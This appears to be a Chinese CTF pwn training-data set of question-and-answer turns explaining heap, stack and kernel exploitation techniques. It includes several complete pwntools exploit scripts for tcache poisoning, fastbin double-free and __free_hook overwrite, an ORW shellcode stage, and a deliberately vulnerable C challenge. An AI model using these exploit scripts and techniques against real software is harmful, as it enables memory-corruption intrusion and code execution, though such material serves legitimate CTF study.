[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「新版本的 Large Bin Attack」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 新版本的 Large Bin Attack

> Large Bin Attack（glibc > 2.29）

Large Bin Attack 就是通过修改位于 large bin 的 chunk 的指针，然后让其它的 chunk 进入 large bin ，借助链表操作在目标地址处写入一个堆的地址。
large bin 可以利用的指针有 bk 和 bk_nextsize 。

如果新加入的 chunk **小于 large bin 中的 chunk** 会进行如下操作：

```c
bck = bin_at(av, victim_index);   // 获取链表的后向指针 bck
fwd = bck->fd;                    // 获取链表的前向指针 fwd

if (fwd != bck) {                 // 如果 bck 和 fwd 不相等，表示链表中有多个元素
    ...
    if ((unsigned long)(size) < (unsigned long)chunksize_nomask(bck->bk)) {
        // 如果新块的大小小于当前 bck 所指向块的大小
        fwd = bck;                // 将 fwd 设置为 bck
        bck = bck->bk;            // 将 bck 更新为 bck 的前一个块

        // 将新块插入到 bck 和 fwd 之间
        victim->fd_nextsize = fwd->fd;               // 将新块的前向指针指向 fwd 的下一个块
        victim->bk_nextsize = fwd->fd->bk_nextsize;   // 更新新块的后向指针
        fwd->fd->bk_nextsize = victim;                // 将 fwd 的下一个块的后向指针指向新块
        victim->bk_nextsize->fd_nextsize = victim;    // 将新块的后向指针的前向指针指向新块
    }
    ...
}
```

如果通过让新加入 large bin 小于 large bin 最小的 chunk 来绕过检查需要伪造 bk 指向的 fake chunk 的 size 字段。并且这里的 bk 是 bins 上的 bk ，不容易劫持。所以一般不会考虑利用 bk 指针进行 large bin attack 。

```c
// 确保 bck->bk 所指向的内存块是主内存池中的块（而非来自其他区域）
assert((bck->bk->size & NON_MAIN_ARENA) == 0);

// 比较新块的大小与当前块的大小
if ((unsigned long)(size) < (unsigned long)(bck->bk->size))
```

**与 bk 不同的是 bk_nextsize 来自的是 fwd(unsorted bin)-> fd 而不是 unsorted bin ，可以劫持。** 因此如果将 large bin 中的**最小**的 chunk 的 `bk_nextsize` 指向 `&target - 0x20` 的位置，然后加入一个**更小** chunk 就会将 target 写入新加入 chunk 的地址。

[图片: image]

除了申请更大的 chunk 外，也可以通过申请较小的 chunk 来触发 large bin attack 。因为从 unsorted bin 中直接切割 chunk 的条件中 `victim == av->last_remainder` 没有满足（因为成为 last_remainder 的条件之一是大小在 small bin 范围内），最终 unsorted bin 中的 chunk 进入 large bin 中触发 large bin attack 。

```c
// 检查是否满足多个条件：
if (in_smallbin_range(nb) &&                          // 条件1: 检查块大小是否属于小块范围
    bck == unsorted_chunks(av) &&                      // 条件2: 检查 bck 是否指向未排序的内存块
    victim == av->last_remainder &&                    // 条件3: 检查 victim 是否为剩余内存块
    (unsigned long)(size) > (unsigned long)(nb + MINSIZE)) { // 条件4: 检查待分配的大小是否大于 nb + MINSIZE
    ...
}
```

之后，程序会在 large bin 中按 size 升序寻找合适 chunk 来切割出所需的内存。由于 large bin 通过 `first (bin)->bk_nextsize` 访问最小的 chunk ，因此最先查找到的是刚刚进入 large bin 的 chunk 并且该 chunk 大小满足条件。之后该 chunk 会从 large bin 中取出然后从中切下所需的内存并将剩余部分放入 unsorted bin 。因此最终写入 target 的值是最开始修改了 bk_nextsize 的 chunk 的地址。

```c
// 获取指定索引的内存块链表
bin = bin_at(av, idx);

// 如果内存桶不为空，且当前最大块大小大于等于请求的大小
if ((victim = first(bin)) != bin &&
    (unsigned long)chunksize_nomask(victim) >= (unsigned long)(nb)) {

    // 选择下一个符合条件的内存块
    victim = victim->bk_nextsize;

    // 遍历链表直到找到符合大小要求的内存块
    while ((unsigned long)(size = chunksize(victim)) < (unsigned long)(nb)) {
        victim = victim->bk_nextsize;
    }

    // 执行内存块的处理
    unlink_chunk(av, victim);   // 从链表中移除当前块

    // 处理内存块，可能会进行切割并放入未排序的块链表
    ...
}
```

![图片: image]


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「断点」。
资料来源：stack.md；主题：栈利用；分类：stack。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 断点

- `b *地址` / `b 函数名` / `b 行号`
- `b *$rebase(0x123456)`：PIE 下断点
- `break fun if $rdi==5`：条件断点
- `watch 0x123456`：内存断点
- `catch syscall`：系统调用断点
- `delete` / `disable` / `enable` / `clear`


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/花式栈/[HGAME 2023 week1]orw/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/花式栈/[HGAME 2023 week1]orw/exp_cli.py`

分类：stack

语言：python

环境/依赖线索：
- `from pwncli import *`

函数/封装：
- `add`
- `cmd`
- `dele`
- `edit`
- `show`

利用主题关键词：
- io-file/fsop
- seccomp/orw
- stack/rop

训练用代码片段：
```python
#!/usr/bin/env python3
# Date: 2024-09-11 17:07:05
# Link: https://github.com/RoderickChan/pwncli
# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc
#     Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *
cli_script()
set_remote_libc('libc-2.31.so')

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)

def cmd(i, prompt):
    sla(prompt, i)

def add():
    cmd('1')
    #......

def edit():
    cmd('2')
    #......

def show():
    cmd('3')
    #......

def dele():
    cmd('4')
    #......

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「chunk」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### chunk

在程序执行的过程中，我们称由`malloc`申请的内存为`chunk`。这块内存在`ptmalloc`内部用`malloc_chunk`结构体来表示。当程序申请的`chunk`被`free`后，会被加入到相应的空闲管理链表中。

我们在malloc一块内存的时候返回给我们的指针是指向user data的指针

`malloc_chunk`定义如下：

```c
struct malloc_chunk {

  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};
```

每个字段的具体的解释如下：

+ `prev_size`：如果物理相邻的前一地址`chunk`是空闲的话，那该字段记录的是前一个`chunk`的大小（包括`chunk`头）。否则，该字段可以用来存储物理相邻的前一个`chunk`的数据。
+ `size`：该`chunk`的大小，大小必须是`2 * SIZE_SZ`的整数倍。该字段的低三个比特位对`chunk`的大小没有影响，它们从高到低分别表示为：
  - `NON_MAIN_ARENA`，记录当前`chunk`是否不属于主线程，1 表示不属于，0 表示属于。
  - `IS_MAPPED`，记录当前`chunk`是否是由`mmap`分配的。
  - `PREV_INUSE`，记录前一个`chunk`块是否被分配。一般来说，堆中第一个被分配的内存块的`size`字段的`P`位都会被设置为 1，以便于防止访问前面的非法内存。当一个`chunk`的`size`的`P`位为0时，我们能通过`prev_size`字段来获取上一个`chunk`的大小以及地址。这也方便进行空闲`chunk`之间的合并。
+ `fd`，`bk`。`chunk`处于分配状态时，从`fd`字段开始是用户的数据。`chunk`空闲时，会被添加到对应的空闲管理链表中，其字段的含义如下
  - `fd`指向下一个（非物理相邻）空闲的`chunk`
  - `bk`指向上一个（非物理相邻）空闲的`chunk`

通过`fd`和`bk`可以将空闲的`chunk`块加入到空闲的`chunk`块链表进行统一管理。

+ `fd_nextsize`，`bk_nextsize`，也是只有`chunk`空闲的时候才使用，不过其用于较大的`chunk`（large chunk）。
  - `fd_nextsize`：指向前一个与当前`chunk`大小不同的第一个空闲块，不包含`bin`的头指针。
  - `bk_nextsize`：指向后一个与当前`chunk`大小不同的第一个空闲块，不包含`bin`的头指针。
  - 一般空闲的`large chunk`在`fd`的遍历顺序中，按照由大到小的顺序排列。这样做可以避免在寻找合适`chunk`时挨个遍历。

`chunk`的结构

<img src="https://cdn.nlark.com/yuque/0/2026/png/28737143/1772616176268-f9047e03-59f5-4c45-a8c3-d59c2ec66409.png" style="zoom:50%;" />


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 根据 `Heap/tcache attack/tcache key` 目录下的 writeup 和 exploit 示例，蒸馏一条训练样本：总结题目、漏洞点、利用链、关键代码和验证状态。

[Assistant]
## 题目路径
`Heap/tcache attack/tcache key`

## Writeup 蒸馏
# 2.33堆申请规则

先形成tcache然后第一个tcache的fd位存放着tcache chunk地址的左移12位数值，这个值就是整个程序的异或key

其余的堆下次申请地址的时候都会和这个key异或一次。

## 源码

```c
#include<stdio.h>
#include<stdlib.h>
char *heaparray[24];
int num=0;
void init()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);

}
void create_heap() {
  int i;
  for (i = 0; i < 24; i++) {
    if (!heaparray[i]) {
      heaparray[i] = (char *)malloc(0x90);
      if (!heaparray[i]) {
        puts("error");
        exit(2);
      }
      puts("over\n");
      num++;
      break;
    }
  }
}
void delete_heap() {
  int idx;
  char buf[4];
  puts("idx");
  read(0, buf, 4);
  idx = atoi(buf);
  if (idx < 0 || idx >= 24) {
    puts("error");
    exit(0);
  }
  if (heaparray[idx]) {
    free(heaparray[idx]);
    puts("over\n");
    num--;
  } else {
    puts("error\n");
  }
}
void show_item() {
  int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heaparray[idx]) {
    puts("no hvae things\n");
  } else {
    printf("Content:");
    printf("%s",heaparray[idx]);
  }
}
void edit_item(){
  int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heaparray[idx]) {
    puts("no hvae things\n");
  } else {
    puts("Content:");
    read(0,heaparray[idx], 0x90);
  }
}
void menu()
{
        puts("1. Get a page");
        puts("2. Take out");
        puts("3. Read page");
        puts("4. edit a page");
}
void main()
{
  init();
  int i;
  while(1)
  {
    menu();
    scanf("%d",&i);
    switch(i)
    {
      case 1:create_heap();break;
      case 2:delete_heap();break;
      case 3:show_item();break;
      case 4:edit_item();break;
      default:puts("error");break;
    }
  }
}
```

## exp

```python
#encoding=utf-8
#patchelf --set-interpreter ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64/ld-2.33.so --set-rpath ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64 newyearbook
from pwn import *
r=process('./pwn')
context.log_level='debug'
libc=ELF('/home/q/Desktop/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/libc.so.6')
def add():
	r.sendlineafter("4. edit a page\n",str(1))

def dele(idx):
	r.sendlineafter("4. edit a page\n",str(2))
	r.sendlineafter("idx\n",str(idx))

def show(idx):
	r.sendlineafter("4. edit a page\n",str(3))
	r.sendlineafter("idx\n",str(idx))
def edit(idx,con):
	r.sendlineafter("4. edit a page\n",str(4))
	r.sendlineafter("idx\n",str(idx))
	r.sendafter("Content:",con)
for i in range(10):
	add()
for i in range(9):
	dele(i)

show(0)
r.recvuntil("Content:")
heap1=u64(r.recv(5)+b'\x00'*3)
print(hex(heap1))
edit(7,'\xa0')
show(7)
r.recvuntil("Content:")
libc=u64(r.recv(6)+b'\x00'*2)-0x1e0ca0
print(hex(libc))
system= libc+0x04fa60
f_hook = libc+0x1e3e20
real=((f_hook^heap1))
print (hex(real))
edit(7,'\x00')
edit(6,p64(real))
add()
add()
edit(10,"/bin/sh\x00")
edit(11,p64(system))
dele(10)
#gdb.attach(r)
r.interactive()
```

## Exploit 关键代码
### Heap/tcache attack/tcache key/2.33.py
```python
#encoding=utf-8
#patchelf --set-interpreter ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64/ld-2.33.so --set-rpath ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64 newyearbook
from pwn import *
print(hex((0x7fb7146378e6)^(0x00000005585346c6)))
r=process('./pwn')
context.log_level='debug'
libc=ELF('./libc-2.33.so')
def add():
	r.sendlineafter("4. edit a page\n",str(1))

def dele(idx):
	r.sendlineafter("4. edit a page\n",str(2))
	r.sendlineafter("idx\n",str(idx))

def show(idx):
	r.sendlineafter("4. edit a page\n",str(3))
	r.sendlineafter("idx\n",str(idx))
def edit(idx,con):
	r.sendlineafter("4. edit a page\n",str(4))
	r.sendlineafter("idx\n",str(idx))
	r.sendafter("Content:",con)
for i in range(10):
	add()
for i in range(9):
	dele(i)

show(0)
r.recvuntil("Content:")
heap1=u64(r.recv(5)+b'\x00'*3)
print(hex(heap1))
edit(7,'\xa0')
show(7)
r.recvuntil("Content:")
libc=u64(r.recv(6)+b'\x00'*2)-0x1e0ca0
print(hex(libc))
system= libc+0x04fa60
f_hook = libc+0x1e3e20
real=((f_hook^heap1))
print (hex(real))
edit(7,'\x00')
edit(6,p64(real))
add()
add()
edit(10,"/bin/sh\x00")
edit(11,p64(system))
dele(10)
#gdb.attach(r)
r.interactive()
```

### Heap/tcache attack/tcache key/pwn.c
```c
#include<stdio.h>
#include<stdlib.h>
char *heaparray[24];
int num=0;
void init()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);

}
void create_heap() {
  int i;
  for (i = 0; i < 24; i++) {
    if (!heaparray[i]) {
      heaparray[i] = (char *)malloc(0x90);
      if (!heaparray[i]) {
        puts("error");
        exit(2);
      }
      puts("over\n");
      num++;
      break;
    }
  }
}
void delete_heap() {
  int idx;
  char buf[4];
  puts("idx");
  read(0, buf, 4);
  idx = atoi(buf);
  if (idx < 0 || idx >= 24) {
    puts("error");
    exit(0);
  }
  if (heaparray[idx]) {
    free(heaparray[idx]);
    puts("over\n");
    num--;
  } else {
    puts("error\n");
  }
}
void show_item() {
  int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heaparray[idx]) {
    puts("no hvae things\n");
  } else {
    printf("Content:");
    printf("%s",heaparray[idx]);
  }
}
void edit_item(){
  int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heaparray[idx]) {
    puts("no hvae things\n");
  } else {
    puts("Content:");
    read(0,heaparray[idx], 0x90);
  }
}
void menu()
{
        puts("1. Get a page");
        puts("2. Take out");
        puts("3. Read page");
        puts("4. edit a page");
}
void main()
{
  init();
  int i;
  while(1)
  {
    menu();
    scanf("%d",&i);
    switch(i)
    {
      case 1:create_heap();break;
      case 2:delete_heap();break;
      case 3:show_item();break;
      case 4:edit_item();break;
      default:puts("error");break;
    }
  }
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「Cache geometry on challenge-like SMP4 boot」。
资料来源：Kernel/2026d3ctf-d3kheap2pro/XCACHE_RESULTS.md；主题：d3kheap2pro cross-cache / Dirty Pagetable experiment log；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### Cache geometry on challenge-like SMP4 boot

```text
/sys/kernel/slab/d3kheap2pro_cache -> :A-0002048
aliases=0
object_size=2048
objs_per_slab=16
order=3
cpu_partial=0
min_partial=5
```

So each slab page allocation is order-3 (8 pages), holding 16 objects of 0x800 bytes.


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「3.参数传递」。
资料来源：Stack/ret2dlresolve/dl_resolve_64/dl_resolve-any_gadget.md；主题：dl_resolve-any_gadget；分类：stack。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
##### 3.参数传递

```c
//read@plt
.plt:00000000004005C0 _read           proc near               ; CODE XREF: vuln+3E↓p
.plt:00000000004005C0                 jmp     cs:off_601038
.plt:00000000004005C6                 push    4
.plt:00000000004005CB                 jmp     sub_400570
//plt[0]
.plt:0000000000400570                 push    cs:qword_601008
.plt:0000000000400576                 jmp     cs:qword_601010
//GOT[0]
.got.plt:0000000000601000 _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC
.got.plt:0000000000601008 qword_601008    dq 0                    ; DATA XREF: sub_400570↑r
.got.plt:0000000000601010 qword_601010    dq 0                    ; DATA XREF: sub_400570+6↑r
.got.plt:0000000000601018 off_601018      dq offset write         ; DATA XREF: _write↑r
```

	可以看到，给`_dl_runtime_resolve`传递的参数仍然是两个，但第二个参数已由之前32位的相对`JMPREL`的偏移变为该条目的在数组中的index。（除以24）

	另外，注意到给`_dl_runtime_resolve`传递参数的方式，依然是通过栈，而非一般情况下通过寄存器传递。这是因为此时的寄存器`rdi`等中已经存有要解析的函数所需的参数了。我们需提前将`/bin/sh`地址等参数放在寄存器中。

#####4.在解析函数地址之前，将`link_map+0x1c8`处设为`NULL`。

	对应的检测代码如下：

```c
/* Look up the target symbol. If the normal lookup rules are not used don't look in the global scope. */
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
    {
      const struct r_found_version *version = NULL;

      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
    {
      const ElfW(Half) *vernum =
        (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
      ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
      version = &l->l_versions[ndx];
      if (version->hash == 0)
        version = NULL;
    }
```

	这里，应该是由于我们构造的伪symbol的index过大，使得`vernum[ELFW(R_SYM) (reloc->r_info)]`读取出错。所以只需令`l->l_info[VERSYMIDX (DT_VERSYM)] == NULL`，也即将`link_map+0x1c8`处设为`NULL`。

	所以，需先泄露GOT[8]，再修改*(GOT[8]+0x1c8)==null。

####（2）64位dl_resolve构造模板

	参见代码stage6_original.py。

	主要4点变化：JMPREL条目构造、SYMTAB条目构造、JMPREL偏移参数->下标、link_map+0x1c8处写0。

####（3）64位roputils库使用

	参见代码dl-resolve-x86-64.py。

步骤：

> 1.泄露&link_map地址（万能gadget）
>
> 2.往bss段写入ROP链和伪造的结构（万能gadget）
>
> 3.跳到bss段，bss段ROP先往link_map+0x1c8写0; 同时往bss段写入伪造结构。

####（4）64位执行libc任意gadget

	目标：执行libc-2.23.so中的gadget 0x8eb46 : cmp byte ptr [rax], dl ; ret。

	方法：伪造symtab条目，对比可知：

> fake_sym = p32(st_name) + p32(0x12) + p64(0) + p64(0)
>
> fake_sym = p32(0) + p32(0x__1__12) + p64(fake_st_value) + p64(0)

		libc.symbos['__libc_start_main']=0x20740

		fake_st_value=0x8eb46-0x20740=0x6E406

		fake_link_map=elf.got['__libc_start_main']=0x601038

		st_name不需要管。

	问题1：如何伪造link_map?

		伪造的link_map地址是libc_start_main的GOT表地址。通过跟踪dl_fixup 函数发现，dl_fixup引用了link_map+0x68/0x70/0xf8处的3个值来寻找STRTAB/SYMTAB/JMPREL这3个表。

	解决1：提前往link_map+0x68/0x70/0xf8写入有效值。

		有两种方法。

	问题2：l_addr+r_offset处必须可写。

	解决2：l_addr这里的值是libc_start_main 地址，那么我们可以控制好r_offset即可。r_offset=libc['.bss']-libc.symbols['libc_start_main']。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Heap/tcache attack/tcache dup/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Heap/tcache attack/tcache dup/exp.py`

分类：heap

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `add_chunk`
- `delete_chunk`
- `edit_chunk`
- `show_chunk`

利用主题关键词：
- heap/tcache

关键常量/偏移样例：
`0x100`, `0x410`, `0x3afca0`

训练用代码片段：
```python
from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])

def add_chunk(index, size):
    p.sendafter("choice:", "1")
    p.sendafter("index:", str(index))
    p.sendafter("size:", str(size))

def delete_chunk(index):
    p.sendafter("choice:", "2")
    p.sendafter("index:", str(index))

def edit_chunk(index, content):
    p.sendafter("choice:", "3")
    p.sendafter("index:", str(index))
    p.sendafter("length:", str(len(content)))
    p.sendafter("content:", content)

def show_chunk(index):
    p.sendafter("choice:", "4")
    p.sendafter("index:", str(index))

add_chunk(0, 0x410)
add_chunk(1, 0x10)
delete_chunk(0)
show_chunk(0)
libc.address = u64(p.recvuntil('\x7F')[-6:].ljust(8, '\x00')) - 0x3afca0
info("libc base: " + hex(libc.address))

add_chunk(0, 0x100)
delete_chunk(0)
delete_chunk(0)

edit_chunk(0, p64(libc.sym['__free_hook']))

add_chunk(0, 0x100)
add_chunk(0, 0x100)
edit_chunk(0, p64(libc.sym['system']))
edit_chunk(1, "/bin/sh\x00")

delete_chunk(1)
# gdb.attach(p)

p.interactive()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「地址泄露」。
资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 地址泄露

`pipe_buffer->ops` 指向 `pipe_buf_operations` 函数表，可用于泄露内核基址。

需要注意：创建 pipe 后，需要调用一次写管道，才能初始化 `pipe_buffer->ops`：

```c
static ssize_t pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
    /* ... */
    buf = &pipe->bufs[head & mask];
    buf->page = page;
    buf->ops = &anon_pipe_buf_ops;
    buf->offset = 0;
    buf->len = 0;
    /* ... */
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Heap/fastbin attack/fastbin-double_free/wustctf2020_easyfast/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Heap/fastbin attack/fastbin-double_free/wustctf2020_easyfast/exp.py`

分类：heap

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `add`
- `dbg`
- `dele`
- `edit`

利用主题关键词：
- heap/tcache
- uaf/double-free

关键常量/偏移样例：
`0x602090`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('wustctf2020_easyfast')
libc = ELF('./libc-2.23.so')
io = process(['./ld-2.23.so',elf.path], env = {'LD_PRELOAD' : libc.path})
#io=remote('node5.buuoj.cn',26334)
context(os=elf.os, arch=elf.arch, log_level='debug')

def add(size):
    sla('choice>', '1')
    sla('size>', str(size))

def dele(idx):
    sla('choice>', '2')
    sla('index>', str(idx))

def edit(idx,con):
    sla('choice>', '3')
    sla('index>', str(idx))
    sl(con)

backdoor=0x602090-0x10
#这里减去0x10是因为我们需要编辑0x602090的内容，即80处是chunk头部，90处是data区域

#chunk0
add(0x40)

#chunk1
add(0x40)

#释放进fastbin
dele(0)
#dbg()

#由于uaf漏洞的存在我们仍然可以编辑释放后的chunk
#通过uaf漏洞将fastbin的fd指针修改为backdoor的地址
edit(0,p64(backdoor))

#将chunk0申请出来，这时候fastbin指向backdoor的地址
add(0x40)

#再申请一次就可以将backdoor申请出来
add(0x40)

edit(3,p64(0))#编辑backdoor的内存
sla('choice>', '4')

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Heap/tcache attack/2025das rcms/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Heap/tcache attack/2025das rcms/exp.py`

分类：heap

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `add`
- `change`
- `choice`
- `dbg`
- `delet`
- `show`

利用主题关键词：
- heap/tcache
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0x420`, `0x1470`, `0x3ebc41`, `0x67616c662f2e`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('pwn')
io=process(elf.path)
libc=ELF("/tools/binary/pwn/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6")
context(os=elf.os, arch=elf.arch, log_level='debug')
context.terminal = ['cmd.exe', '/c', 'start', '""', 'wt.exe', 'wsl', '-e', 'bash', '-lc']

def choice(c):
    io.recvuntil('5.exit')
    io.sendline(str(c))

def add(index,size,cmd):
    choice(1)
    io.recvuntil(':')
    io.sendline(str(index))
    io.recvuntil(':')
    io.sendline(str(size))
    io.recvuntil(':')
    io.send(cmd)

def delet(index):
    choice(2)
    io.recvuntil(':')
    io.sendline(str(index))

def change(index,cmd):
    choice(3)
    io.recvuntil(':')
    io.sendline(str(index))
    io.recvuntil(':')
    io.send(cmd)

def show(index):
    choice(4)
    io.recvuntil(':')
    io.sendline(str(index))

add(0,0x420,'AA')
add(1,0x60,'BB')
add(2,0x60,'CC')
add(3,0x60,'DD')

delet(0)

add(4,0x420,'A')

show(4)
libc_addr = u64(io.recvuntil(b'\x7f').ljust(8,b'\x00')) >> 8
libc_base = libc_addr - 0x3ebc41
free_hook = libc_base + libc.sym['__free_hook']

delet(1)
delet(2)

show(2)

io.recvline()
heap_addr = u64(io.recv(6).ljust(8,b'\x00'))

success('heap_addr = '+hex(heap_addr))
target_addr = heap_addr - 0x1470
success('target_addr = '+hex(target_addr))

change(2,p64(target_addr))

add(5,0x60,'QQQ')

add(6,0x60,'\n')

show(6)

io.recvline()
elf_addr = u64(io.recv(6).ljust(8,b'\x00'))
success('elf_addr = '+hex(elf_addr))
gift_addr = elf_addr + 0xce
success('gift_addr = '+hex(gift_addr))

delet(5)

change(5,p64(free_hook))

add(7,0x60,'A')
add(8,0x60,p64(gift_addr))

delet(7)

ru('?')

shellcode = '''
mov r15, 0x67616c662f2e
push r15
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall
mov r14, 3
mov rdi, r14
mov rsi, rsp
mov rdx, 0xff
mov rax, 0
syscall
mov rdi,1
mov rsi, rsp
mov rdx, 0x30
mov rax, 1
syscall
'''

sl(asm(shellcode))

ia()
```


